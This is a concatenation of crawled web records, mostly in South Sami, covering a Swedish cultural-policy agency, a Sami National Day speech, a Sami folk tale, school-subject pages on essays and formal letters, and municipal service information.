Kulturanalysen aajkoe dan gaavhtan buerebe tsiehkieh skaepiedidh dejtie mah kultuvresuerkesne.\nKulturanalyse 12 barkijh åtna mah goerehtimmiejgujmie jïh analysigujmie, reeremigujmie jïh govlesadteminie berkieh. Jeenjemesh lea disputeradamme dotkijh mej våarome lea arkeologijesne, sïelteekonomijesne, staatemaahtojne jïh statistihkine. Sverker Härd lea åejvieladtjen åejvie.\nÅejvieladtje kulturanalyside lea akteraerieåejvieladtje, dïhte sæjhta jiehtedh åejvieladtjen åejvie barkoen dïedtem åtna. Reerenasse vaaksjomeraeriem nommehti mij edtja barkoem vaaksjodh jïh raerieh åejvieladtjeåajvan vedtedh.\nMejnie barkebe\nKulturanalysen aajkoe reellen dåarjoem vedtedh kultuvrepolitihken evtiedæmman, reerenassen dåarjoem årrodh jïh dan mietie buerebe tsiehkieh darjodh kultuvresuerkien barkojde.\nÅejvieladtjen bïhkedimmieh jïh regleremeprievieh mijjen barkoem sjæjsjalieh. Dennie stuvretjaatseginie tjåådtje dah åajvahkommes vuartoeh åejvieladtjese jïh sjïere stillemh. Mijjen analysesoejkesjisnie vååjnoe guktie mijjieh veeljimh stilleminie barkedh jïh guktie mijjen barkoem soejkesjidh.\nDaesnie Kulturanalysen publikasjovnh gååvnesieh. Jeenjemes reektesh englaantengïeleldh iktedimmiem utnieh.\nDahkoesuerkieh\nStatistihke jïh kultuvreviesjieh\nKulturanalysen dïedte jeenjemes byögkeles statistihkem kultuvren jïh eejehtimmien suerkine. Kulturanalys dan gaavhtan stillemem åtna akte nasjovnellen vaaksjoestimmiestatistihkem kultuvresuerkesne evtiedidh. Vaaksjoestimmiestatistihke skaepede infrastruktuvrem guktie evtiedimmiem kultuvresuerkesne vaaksjoestidh, nuepiem vedtedh analysh jïh dotkemh darjodh dovne Kulturanalyseste jïh jeatjah aktöörijste jïh våaromem vedtedh digkiedæmman kultuvrepolitihken jïh kultuvrepolitihken dahkoej bïjre.\nGietskesisnieanalyse jïh dotkemevaaksjome\nKulturanalys sæjhta dåeriedidh, vuejnedh jïh analyseradidh trendh jïh evtiedimmieh nasjovnellen jïh jeatjah laantine jïh lïhke politihkesuerkine. Dïhte sæjhta jiehtedh Kulturanalys edtja dïjpedh jïh buerkiestidh deahpadimmieh jïh generellen tendensh mah kultuvrepolitihkem tsevtsedh, men voestes iereste lea gosse gietskesisnieanalyse guarkedh jïh buerkiestidh man vuekine daah kultuvrepolitihkem tsevtsieh.\nKulturanalys aaj dotkemelaavenjasse mij sæjhta jiehtedh dotkemem kultuvresuerkesne jïh vuarjasjimmiesuerkesne dovne nasjovnellen jïh internasjovnellen dåeriedidh. Aajkoe lea kultuvrepolitihken dotkemem gorredidh, dam bïejedh kultuvrepolitihken ektievuakan jïh aaj ïedtjeles minngemes dotkemem bievnedh guktie maahtoem buektedh mij tsiehkieh tseegkedh evtiedamme kultuvrepolitihkese.\nReformh jïh barkoeh vuarjasjidh\nKulturanalys analysh jïh vuarjasjimmieh tjïrrehte man vuajnoe lea staate reformide jïh barkojde. Kulturanalys sæjhta funksjovnalitetem vuartasjidh gååvnesamme öörneginie jïh ektievuekieh internasjovnellen tsevtside goh EU jïh noerhtelaanti ektiebarkoe. Analysh maahta aaj buaktasåvva orre reformh jïh tsevtsemh hammoedidh juktie vuarteme effekth jïh maaksovh vuarjasjidh. Dah vuarjasjimmieh voejhkelieh gyhtjelassh vaestiedidh reformi tjïrrehtimmiej jïh effektij bïjre.\nTsiehkiegïehtjedimmie\nKulturanalys dorjestalla gamte iktedimmieh, tsiehkiegïehtjedimmieh, analysh jïh viertiestimmieh kultuvrepolitihken ulmide relasjovnine. Tsiehkiegïehtjedimmieh edtjieh meatan årrodh vueptiestidh jis stoerre joekehts dejstie kultuvrepolitihken ulmijste jallh båajhtoeh evtiedimmie jallh situasjovnem sjïere dåehkide siebriedahkesne. Tsiehkiegïehtjedimmien tjïrrh voejhkelibie suerkieh kultuvrepolitihkesne gusnie vihkeles politihken darjomh darjodh.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/kulturanalys.se\/andra-sprak\/sydsamiska\/","date":"2019-10-14T12:52:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986653247.25\/warc\/CC-MAIN-20191014124230-20191014151730-00231.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":396,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten 6.b. 1917 150 saadthalmetjh nöörjen jïh sveerjen bieleste lin tjåanghkenamme Metodistegærhkosne Tråantesne dan voestes saemien rijhketjåanghkose gusnie tjirkijh stoerre bielijste Saepmeste gaavnedin juktie ektie aamhtesem buektedh goh akte åålmege.\nSkraejrie bööti aktede tjidtjiebistie govhte maanajgujmie, båatsoegujne jïh politihkere Elsa Laula Renberg Helgelaantesne akten baelien gosse daaroedehteme saemiej vööste lij tjarke, jïh akten baelien gosse nyjsenæjjah idtjin byörh fer jïjnjem vååjnesasse båetedh. Dïhte siebriem Brurskanken Lappkvindeforening (Brovresen Saemienyjsenesiebrie) tseegki, dïhte voestes nyjsenesiebriebarkoe jaepien 1910 – åvtelen nöörjen nyjsenæjjah steemmereaktam åadtjoejin. Elsa Laula Renberg jïh doh mubpieh åarjelsaemien nyjsenæjjah lin naakenh mijjen åvtenyjsenæjjijste dovne saemiej jïh nyjsenæjjaj reaktaj åvteste. Dejtie lij eevre vihkeles saemien ålmah jïh nyjsenæjjah tjoerin ektesne tjåadtjodh laanteraastaj dåaresth jis edtjin lyhkesidh gæmhposne jieliemassem jïh saemien kultuvrem gorredidh. Daate biejjie akte meerhkesjimmie dehtie voestes saemien stoerretjåanghkoste, mij ij lij ajve saemiepolitihken bïjre, men aaj akten raastennamhtah ektievoeten bïjre. Daan våhkoen gaajhkh noerhtelaanti Saemiepolitihkerh jïh tjirkijh mijjen åålmegistie vihth Tråantesne tjåanghkenamme juktie mijjen histovrijes heevehtimmiem aavoedidh abpe våhkoem.\nGïerve mijjen siebriedahkem mijjen uvte vuejnedh Elsa Laula Renbergen bielelen, jïh maehtebe onterdidh mejtie jïjtje naan åssjaldahkh utni guktie saemien siebriedahke sïjhti jïjtjemse evtiedidh båetijen aejkien. Dagke lij tuhtjeme illedahke lij nåake, daelie tjuetie jaepieh mænngan dïhte voestes saemien stoerretjåanghkoe? Mijjieh aktem stuhtjem geajnosne båateme, men annje akte guhkies geajnoe vaedtsedh. Saemien reaktah lin biejjieöörnegisnie aaj tjåanghkosne Tråantesne, gusnie joekoen båatsoe jïh ööhpehtimmietsiehkie saemien maanide lin teemaj gaskem. Gåabpegh aamhtesh leah annje joekoen sjyöhtehke mijjen siebriedahkesne.\nGaajhkh saemien gïelh leah tjïelkestamme goh håvhtadihks jallh itjmies håvhtadihks gïelh. Åarjel- jïh julevsaemien gïelh leah joekoen vaahresne. Mijjieh laakh jïh njoelkedassh åådtjeme mah saemien maanide jïh noeride reaktam vedtieh saemien lïerehtimmiem jïh lïerehtimmiem saemien gïelesne åadtjodh maadthskuvlesne, men mijjieh aaj daejrebe daan reaktan vööste meadtahtalla jaabnan. Joekoen daerpies reaktam saemienlïerehtæmman nænnoestehtedh. Raaktan daelie NOU 2016:18 – Vaajmoegïele lea govlehtimmesne. Akte stoerre tjaatsege raeriestimmiejgujmie laakide, råajvarimmide jïh öörnegidie saemien gïelide vijrieslaakan. Akte histovrijes nuepie dejtie saemien gïelide nænnoestehtedh jïh jåerhkedh guhkiebasse, jïh manne veanhtedem nasjonaale åejvieladtjh sijjen dïedtem steerieh. Saemien gïelemoenehtse tjïerteste staateles daaroedehteme lea stoerre konsekvensh åtneme saemiej gïeleåtnose eevre mijjen tïjjen raajan. Jïh taalh soptsestieh: göökte gåalmehts saemien åålmegistie eah saemesth daan biejjien. Saemiedægkan lea joekoen vihkeles åtnoem gïeleutniejijstie lissiehtidh jïh skreejrehtidh guktie gïelh vielie åtnasuvvieh. Saemien siebriedahkh leah jearohke aktede jielije gïeleste juktie lea gïele mij mijjen kultuvrelle aerpiem jïh mijjen aarvoeh guhkiebasse guadta.\nMijjese aaj daerpies dejtie saemien aerpievuekien jieliemidie vaarjelidh. Saemien miehtjieåtnoe, gööleme jïh båatsoe leah vihkeles faktovrh juktie tjåadtjoehtidh almetjh dajvine årroeh, goh våarome dïenestasse jïh goh våarome vaarjelæmman jïh evtiedæmman saemien kultuvreste jïh gïeleste. Båatsoe jïjnjh dejstie seamma åejviehaestiemijstie dååste daan biejjien goh 1917. Arealebigkemh stoerresiebriedahkeste, juvredåeriesmoerh jïh ovvantoeh gåatomelaanten bïjre leah biejjieladtje haestemh dejtie mah båatsosne gïehtelieh. Aamhtesinie mah leah bigkemedarjomi bïjre saemien aerpievuekien jielieminie, desnie dååjrebe saemieh eah stoerresiebriedahkeste govlelgh.\nGöökten våhkoen gietjeste Jovsset Ánte Sara (25) Guovdageaidnuste vihth reaktasavkesne. Dïhte noere båatsoesaemie staatem steebni mænngan staate lij nænnoestamme satne tjoeri krievviem lahkan giehpiedidh jïh vitni. Rïekte rudtjine dïhte Hålogalaanten lagmannreaktam gaavnedi klååkemegïetedimmesne. Jeenjesidie daate aamhtese lea reaktan bïjre sijjen kultuvrine gïehtelidh jïh jïjtjh sijjen båetijen aejkien nænnoestidh. Gosse mijjieh daan biejjien Saemiej åålmegebiejjiem aavoedibie, dle annje juerie guktie lagmannreakta sæjhta dööpmedh. Dagke akte hijven nuepie jïjtje ånnetji ussjedidh båetijen aejkien bïjre. Saemien siebriedahkeevtiedimmien gaavhtan lea daerpies gaajhkh hijven faamoeh laessiem ektesne giesieh. Saemiedigkie edtja njueniehkisnie vaedtsedh, men daarpesjibie gaajhkh mijjen aarkebiejjien ambassadöörh mah dam saemien våajnoes darjoeh jïh saemien åvteste gæmhpoeh aarkebiejjien.\nSaemiej åålmegebiejjie akte feestebiejjie. Akte biejjie mij lea vihkeles mijjese. Akte biejjie gosse vuajnalgibie jïh jååhkesjamme sjædta – jïh akte biejjie gusnie mijjieh mijjen raastennamhtah ektievoetem aavoedibie. Saemiej åålmegebiejjie aaj akte vihkeles biejjie sjïdteme daarojde. Manne geerjene sjïdtem gosse daajram laanten maanagïerth jïh skuvlh biejjiem meerhkesjieh, jïh tjïelth dovne dejnie saemien jïh nöörjen saevieginie saeviehtieh mijjen feestebiejjien. Sïjhtem datnem haestedh meatan årrodh aavoedimmesne. Jis aktem mijjeste råakh daan biejjien, gåårveldahkesne mijjen tjaebpemes gaptesne, læhkohth mijjem biejjine – maaje aktene dejstie saemien gïelijste. Dïhte mijjen vaajmoeh bækta.\nLæhkoeh biejjine! Lihkku beivviin! Vuorbbe biejvijn! Gratulerer med dagen!","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Saemiej-aaaalmegebiejjie-Aavode-100-jaepieh-saemien-reaktagaemhpojne","date":"2019-10-22T21:39:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00543.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":642,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2013\nTïjje\n00:29:47\nFormaate\nEmbedded\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMarja dikth tjaala, gïelesne mij mahte ij naaken guarkah. Dïhte dïhte voestes aaltese fuelhkesne mij åadtjoeji gåetesne årrodh jïh aaj åarjelsaemien skuvlesne lïeredh. Jïjnjemes dejstie laedtijste eah daejrieh, jienebh saemien gïelh Nöörjesne. Gihtjebe mejtie gaajhkh dah saemien gïelide Elgåesne, Kárášjohkesne, Guovdageaidnusne jïh Helsingforsesne aejhtemen nuelesne – jallh haajpanieh.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ovttas.no\/sma\/filbma_den-stille-kampen-kampen-spraket","date":"2019-10-21T02:39:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987751039.81\/warc\/CC-MAIN-20191021020335-20191021043835-00239.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":59,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Aarporten jïh åarjel-smaaregen soptsesh maam Just Knut Qvigstad tjaaleme. Lajla Mattsson Magga lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme.\nSaemie saajvi luvnie\nAkte saemie dej beeli gujht utni vihties sijjieh, gusnie provhki daelvegi jïh giesiej (giesegi) årrodh. Dle akten gïjren dïhte saemie bööti juhtien dejnie sov jealojne debpede gusnie lij daelviem orreme. Dle juhti dahkoe gusnie giesegi provhkin årrodh. Dennie sijjesne dïhte saemie aktem stoerre giedtiem utni. Dle gujht dah saemieh provhkin våaroej ryöjnesjidh. Akten aereden goh lin bovtside bohtjehtjamme, dle gujht dïhte reajnoe-maennie lööjhti dejtie bovtside giedtien sistie jïh vuejiehti skåakese.\nDah jienebh almetjh vaadtsajin gåatan; dle beetsi barre dïhte akte saemie dan bovtse-giedtien sïjse. Dïhte saemie veedtsi dan giedtien sisnie, dle vööjni, akte plaavegåarvoe-almetje bööti dan sov mööhte (vööste). Goh gaavnesjigan, dle healsoehti dïhte saajve dan saaman jïh gihtji: \"Manne leam mïnnijamme, edtjem datnem bööredh guessine mijjese. Ih sïjhth mannem dåeriedidh?\" \"Im manne sïjhth,\" dïhte saemie svååri. \"Ih goh galkh naaken vaahrese båetedh, manne edtjem dåeriedidh datnem diekie bååstide, njöömesth dan mov rudtjese!\" dïhte saajve jeehti dan saaman. Dïhte saemie dam govli, juktie ij galkh naaken vaahrese båetedh, dle njöömesti dan saajven rudtjese. Dïhte saajve vaadtsaji dejnie seemine (saemine).\nDennie giedtien aktene roenesne lij akte gaaltije. Dïhte saajve vaadtsaji dan gaaltijen gåajkoe. Goh böötigan dan gaaltije-bealese, dle dïhte saajve tjarmi dan gaaltijasse. Dïhte saemie dam vööjni: maaje edtji varki jïjtjemse njarhvestidh dehtie saajveste, men idtji annje hïnnh. Dïhte saemie ussjedi: joe gujht dellie aavgrunnese (vaavlan) satne mannem voelkehte. Dle damta: barre våålese jïh våålese juhtiejægan. Dle dïhte saemie vööjni aktem ståapoem; dïhte lij stoerre ståapoe. Gellie lin klaash dennie ståaposne. Dïhte saajve satnem foeresji dan ståapoen sïjse, jienebh lin aaj saajveh dennie ståapoen sisnie. Goh böötigan dan ståapoen sïjse, dle gujht dïhte saemie healsoehti. Goh lij heaIsoehtamme, dle stillijin, edtji tjihkedidh buertie-bealese jïh byöpmedalledh jïh jovkedh.\n\"Gosse aalkah byöpmedalledh, dle edtjh kroesse-tïeknem bïejedh gaajhkese maam datne dov gïeti sïjse vaaltah, mearas leah daesnie; dle ih goh galkh naaken vaahrese båetedh.\" Dïhte saemie darjoeji, guktie dah saajveh jeehtin.\nGoh lij byöpmedalleme, dle dah saajveh eelkin soptsestalledh. \"Mijjieh libie ussjedamme, edtjebe spååadidh (nåajtodh) ovlæhkoem dov bovtsigujmie, juktie dah dov bovtsh bejhkieh jïh gudtjieh (gedtjieh) mijjen bijjielisnie, juktie dïhte dov giedtie lea mijjen bijjielisnie laanten nelnie. Gaajhkh dah gadtjh jïh bajhkh gelkieh mijjen nille. Men dle ussjedimh, edtjimh voestegh mïnnedh datnem vïedtjedh jïh soptsestidh dutnjien, guktie datne båatah daejremen; dle kaanne fluhth giedtiem jeatjah lahkan. Jis dam sïjhth darjodh, dle edtjebe mijjieh dutnjien spååadidh (nåajtodh) hijven læhkoem dov bovtsigujmie jïh gaajhkine dov eekine. Men jis ih dam sïjhth darjodh, dle galkh barre ovlæhkoem utnedh daehtie gietjeste.\"\nDïhte saemie svååri: \"Nov galkem fluhtedh dam mov giedtiem.\" Goh lij dellie feerti, dle dïhte akte saajve vudti (vedti) aktem onne voessem dïeves beetnegijstie jïh jeehti: \"Gosse dåastohth manneste daam, dle galkh kroesse-tïeknem bïejedh.\" Goh dïhte saemie feerti sjïdti, dle gåvnahtihti (gåvnahtehti) dejtie saajvide.\nMen dïhte saajve, mij lij satnem vïedtjeme dahkoe, dïhte dåeriedi jïh göödti dam saemiem bååstide laanten nille; seamma geajnoem böötigan bååstide. Dïhte saemie onterdi, juktie idtji satne lovveh, goh böötigan bæjjese dan gaaltijen mietie. Dle dïhte saajve jeehti: \"Vuajnah dellie, darjoeh dam maam leah dåajvoehtamme! Dle etjh læhkoem utnedh gaajhkh dov jielede-biejjieh.\" Dle gåvnahti dïhte saajve dam saemiem jïh vöölki seamma geajnoem bååstide. Dïhte saemie sjïdti vuartasjamman (vuartasjæmman), goh dïhte saajve tjarni dan gaaltijasse.\nDle vaadtsaji dïhte saemie sov gåatan jïh soptsesti dejtie sov almetjidie, guktie lea satnine gåaradamme, jïh vuesiehti dejtie beetnegidie, mejtie lij saajvijste åådtjeme. Dle jeehti dejtie sov almetjidie, edtjieh satnem dåeriedidh jïh giedtiem fluhtedh jeatjah lahkan (sæjjan). Dle vaadtsajin dah gaajhkh saemieh jïh juhtiehtin dam giedtiem jeatjah lahkan. Dan saemien jïelege sjïdti dan minngelen barre ipmierïjhken. Dïhte saemie stoerre båantine sjïdti jïh veasoeji hijvenlaakan gaajhke sov jielede-biejjieh. Mearas lij veasoeminie dïhte saemie, dle gujht vaarede dan gaaltijen luvnie jïh mojhtele dan rïejsen bïjre, maam lij satne dorjeme dan laanten sisnie.[1]\n- 1«Aarporten jih Åarjel-smaaregen soptsesh». Qvigstad, Just Knud. Samisk Utdanningsråd. 1996.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\n- Kjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129021","date":"2019-10-15T15:29:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986659097.10\/warc\/CC-MAIN-20191015131723-20191015155223-00127.warc.gz","language":"sma","language_score":0.9999676943,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999676942825317}","num_words":760,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Persovneles essay lea akte aamhtese-tjaalege gusnie tjaelije lohkijem meatan vaalta åssjaldahke-vaanterdimmesne akten vihties teeman tjïrrh.\nTjaelije jïjtse dååjrehtimmieh jïh åssjaldahkh nuhtjie, jïh tuhtjie vihkielåbpoe hijven gyhtjelassh gihtjedh goh dejtie minngemosth vaestiedasside åehpiedehtedh. Argumentasjovne aktene essayesne lea daamtaj tjeakoes – tjaelije ovmessie gïeleviehkie-dïrregh nuhtjie juktie sov vuajnoem buektedh.\nAkte persovneles essay lea akte ussjedallije tjaalege mij tjïelkelaakan lea subjektijve. Ij leah dan striengkies krïevenassh argumentasjovnese jïh guktie tjaalege lea bigkeme daennie tjaalegisnie goh faage-tjaalegisnie. Lohkije edtja buerebe tjaelijem dåeriedidh aktene åssjaldahke-vaanterdimmesne teeman sisnjelen. Tjaelije byöroe sjugniedihks jïh væjkele årrodh tjaeledh. Ij tjoerh ajve maam akt utnedh jiehtedh, men tjuara aaj buektiehtidh sov åssjaldahkh buektedh naemhtie guktie satne lohkijen ïedtjem gååske jïh sjollehte.\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\n- Kjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173658","date":"2019-10-19T12:55:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986693979.65\/warc\/CC-MAIN-20191019114429-20191019141929-00266.warc.gz","language":"sma","language_score":0.9999293089,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999293088912964}","num_words":136,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barn och utbildning - nordsamiska\nMánát- ja oahpahus\n20140415_143517_0.jpg\nOahpahushálddahus ovddasvástida visot oahpahusa Vueltjere gielddas, ovdaskuvllas allaskuvlii.\nOahpahusossodahkii gullojit ovdaskuvladoaibma mas leat ovdaskuvllat ja bearašbeaiveruovttut, vuođđoskuvla oktan ovdaskuvlaluohkáin, asttuáigeruovttut ja sierraskuvladoaibma.\nJoatkkaskuvla ja joatkkasierraskuvladoaibma jođihuvvojit gieldda iežas joatkkaskuvllas, Malgomajskuvla, mas leat gávcci náššuvnnalaš prográmma ja vihtta introdukšuvnnaprográmma.\nOahppoguovddáš ovddasvástida rávesolbmooahpahusa sierralágán dásiin, vuođđodásis gitta allaskuvladássái.\nSagagaertenem Gäjkesne gällesje jih akten sïejhme gåetieluhpiem hïejmedïenesjigujmie. Sïejme gåetieluhpieh leah mah sjïere voeresalmetjidie jih ov-verviej daerpiesvoeth jaksoesvoeteste jih jearsoesvoeteste sjiehtesjamme. Sagagaertenem 10 gåetieluhpieh åtna jih aaj aarhskuvle jih skuvlebeapmoetjiehtelem Gäjkan skuvlese. Buerie båeteme mijjese Sagagaertenisnie! Gåetieluhpide 1-2 tjiehtjelh utnieh gusnie tjöövke jih stratjkelaavkoetjiehtjelem jih årroje jïjtje stovlh jih buertiem meatan vaalta. Fïerhtene gåetieluhpiem jearsoesvoetelarmem utnieh jih barkijh abpe dygnesne jaksoes leah. Beapmoetjiehtjelem Sagagaertenisnie Sagagaertenen beapmoetjiehtjelem aeredsbiejjiebepmoem gaajhkide våhkoen biejjide hoksehte Sagagaertenen årroejidie, jeatjah almetjidie, voeresalmetjidie jih aaj Gäjkan skuvlese. Aeredsbiejjiebeapmoeh gaskoe ts 11.30-13.00 hoksehten Syökemem Syökemem daase darjoen: Gïetedallijeaktesem Voeres- jih ov-vervien hoksem mij tjïelkeste jih nännoetimmiem nännoste. Telefovnenommerem Gïetedallijeaktesem Telefovnetijje 8.00-9.30 0940-141 22, 142 37, 142 54","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.vilhelmina.se\/saepmie-s%C3%A1pmi\/information-paa-samiska\/barn-och-utbildning-nordsamiska\/","date":"2019-10-22T23:48:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987826436.88\/warc\/CC-MAIN-20191022232751-20191023020251-00479.warc.gz","language":"sma","language_score":0.8436518908,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.8436518907546997, \"sme_Latn_score\": 0.15232712030410767}","num_words":153,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.883,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse daan biejjien prievien bïjre soptsestibie, dellie daamhtahkommes e-påasten bïjre soptsestibie. Læjhkan ibie paehpierisnie tjaelieh dellie hijven formelle njoelkedassi mietie tjaeledh. Dellie daejrebe guktie edtjebe tjaeledh, mah baakoeh maehtebe nuhtjedh jïh guktie edtjebe tjaalegem tseegkedh.\nVuelieslisnie vuesiehtimmie guktie maehtebe byjjes e-påastem tjaeledh.\nBuerie biejjie!\nMijjieh vihtiestibie mijjieh dov prieviem dååsteme jïh dïhte referanse-nommerem 1101621 åådtjeme. Datne sïjhth mijjeste govledh eannan 3 barkoe-biejjieh. Jis dov gyhtjelassh, maahtah mijjine gaskesadtedh mijjen tellefovnesne mij lea ræhpas abpe dygnen.\nGyhtjelasse Bïjle- jïh hïejme-dïenesji bïjre, ringkh 815 68 808.\nJis gyhtjelasse Sygkele-registeren bïjre, ringkh 815 68 112.\nVUEPT! Deejrih Falcken lea Skandinavijen jeenjemes doekeme voestesviehkie-dåvna! Dagke aktem jïjtje daarpesjh? 198 kråvnaj åvteste mijjieh dutnjien aktem dåvnam seedtebe, ringkh mijjese jallh vuartesjh sæjroem www.falck.no!\nMijjieh Falckesne datnem aktem buerie biejjiem vaajtelibie!\nJïjnjh heelsegh\nFalck åestije-hoksehtimmie!\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\n- Kjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:175061","date":"2019-10-19T13:35:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986693979.65\/warc\/CC-MAIN-20191019114429-20191019141929-00346.warc.gz","language":"sma","language_score":0.9999241829,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999241828918457}","num_words":145,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne maahtah bïernen bïjre lohkedh saemien soptsestimmie-vuekesne. Tjaalege lea gærjeste Staaloeh vienhtieh aske lea dålle maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjel-saemien gïelese jarkoestamme.\nBïerne\nBïernen lea sjïere sijjie saemiej jieliemisnie jïh jaahkoemisnie. Dïhte ihke bïerne dejnie sov stoerre botnine daelvegi, gellie askh meehti åeredh beapmoe-namhtah jïh tjaetsie-namhtah dïhte lij nåejties. Gïjre doekoe dellie gaavmoste göökte jorpe tjovkigujmie bööti mejtie lij skuarhtjadamme jïh njammehtamme.\nSåemies aejkien lij bïerne vietseles muerjie-bårrije, mubpiej aejkiej lij måeresne jïh 